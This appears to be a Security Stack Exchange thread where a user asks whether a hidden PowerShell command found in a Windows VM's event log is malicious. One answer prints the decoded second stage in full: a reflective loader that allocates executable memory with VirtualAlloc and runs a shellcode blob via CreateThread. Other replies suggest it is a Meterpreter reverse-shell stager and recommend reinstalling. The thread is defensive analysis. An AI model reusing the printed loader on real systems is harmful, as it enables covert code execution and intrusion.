While I was sitting in front of the computer not using it,my Windows 10 machine quickly flashed a few terminal windows, and then gave me a Windows Security popup, asking for my password.

I have no idea what this is for, so I did a little poking around in the file explorer and the Event log, and found a whole series of entries for PowerShell with the following data:

HostApplication=powershell.exe -nop -w hidden -c $s=New-Object IO.MemoryStream(,
));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,

The base64 string decodes to one starting with a valid gzip header (hex 1F 8B 08 ...) I tried unzipping that on my Mac, but ran into an error.

Does anyone have an idea what this is, and is there any chance it is legitimate?

Update : The infected machine is a Win 10 host running in VirtualBox on Mac. Is there any chance the Mac host can be infected? I am assuming that this is something that virtualization prevents, but exploits are always evolving...

  • 3
    Reinstall your machine as soon as possible, this is definitely malicious. Commented Sep 11, 2015 at 14:15
  • The update is arguably a different question, but for the record: it depends whether the VM has access to the host. VMs can be completely isolated, and in that case you're safe (barring the occasional, rare-but-very-exciting bug in the virtualization). However, most people who use a VM for convenience rather than security allow the VM to access the host's file system and so on. In that case, the VM can (though not necessarily will) infect the host.
    – CBHacking
    Commented Jun 22, 2016 at 16:52
  • Possible duplicate of How do I deal with a compromised server? Commented Jul 18, 2016 at 13:50
  • @AndréBorie As I read the question, it asks "Am I infected?", not "What do I do if I am infected?" So I would say not a duplicate.
    – Anders
    Commented Jul 18, 2016 at 14:17

4 Answers 4


Posting this in an answer, because it's too big for a comment: I don't know what it does (though it does look sketchy) but here's the expansion. It's a PS script itself, of course:

function t2Mj {
    Param ($hVrV8B2fWj, $zfOqpP8)                
    $mJnysoxSPX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $mJnysoxSPX.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($mJnysoxSPX.GetMethod('GetModuleHandle')).Invoke($null, @($hVrV8B2fWj)))), $zfOqpP8))

function j1G8vwsPg {
    Param (
            [Parameter(Position = 0, Mandatory = $True)] [Type[]] $srs_LF,
            [Parameter(Position = 1)] [Type] $lTMpjL3Mn = [Void]

    $b0pq = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $b0pq.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $srs_LF).SetImplementationFlags('Runtime, Managed')
    $b0pq.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $lTMpjL3Mn, $srs_LF).SetImplementationFlags('Runtime, Managed')

    return $b0pq.CreateType()


$zk1lmz = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll VirtualAlloc), (j1G8vwsPg @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $wgOO3l.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($wgOO3l, 0, $zk1lmz, $wgOO3l.length)

$oFpHGWmDM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll CreateThread), (j1G8vwsPg @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$zk1lmz,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll WaitForSingleObject), (j1G8vwsPg @([IntPtr], [Int32]))).Invoke($oFpHGWmDM,0xffffffff) | Out-Null

Definitely looks questionable. I don't recognize it, though.

  • 1
    Thanks for this. I did a little formatting and renaming, and came to the same conclusion as @Tom Leek. It is allocating and filling memory with the contents of the decoded base64 blob, and marking that memory as executable. It is calling CreateThread and giving it that address, then waiting for the thread to finish.
    – AShelly
    Commented Sep 10, 2015 at 21:19
  • 1
    The Blob dissasembles into this: onlinedisassembler.com/odaweb/Ralv0gEB/0. It contains the string "AQARPQVH1" which Google only finds on Malware analysis pages. It's not looking good.
    – AShelly
    Commented Sep 10, 2015 at 21:47

It decompresses just fine for me... I converted the Base64 string into binary, then ran gunzip on it (I am using a Linux system here). This results in another piece of PowerShell that does things which can only be considered as definitely fishy. It contains a piece of 450 bytes, that it loads into (native) RAM, and runs as code. I am way too lazy to disassemble the piece of code, but I feel pretty safe when I say that this piece of code is not safe at all.

Looks likes there is some malware in your machine, that tries to gain some privileges. It's time for some nuking, I'd say.


I had a machine with two similar registry entries.

I tried the following scanners to see if they would pick up the dodgy script in the registry and none of these picked them up at time of writing: AVG, Kapersky tdsskiller, rKill, Malwarebytes, hitmanpro, Zemana Antimalware, adware cleaner, Junkware Removal Tool, Emisoft, Hijackthis, UsbFix, CCleaner and Smadav.

The ones I haven't tried yet are RogueKiller and Symantec's scanner, both of these had articles or mentions of this "Powerworm" or powershell kind of behaviour. Eitherway, it's a very clever way to hide malware on the machine as most scanners are just missing this method of hiding in the registry.


This is metasploit meterpreter shell trying a reverse tcp, basically injecting a service (dll) into a process and getting shell.

  • 2
    That is not at all obvious from the available evidence. Can you provide proof of your claim?
    – schroeder
    Commented Jun 18, 2016 at 18:25

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .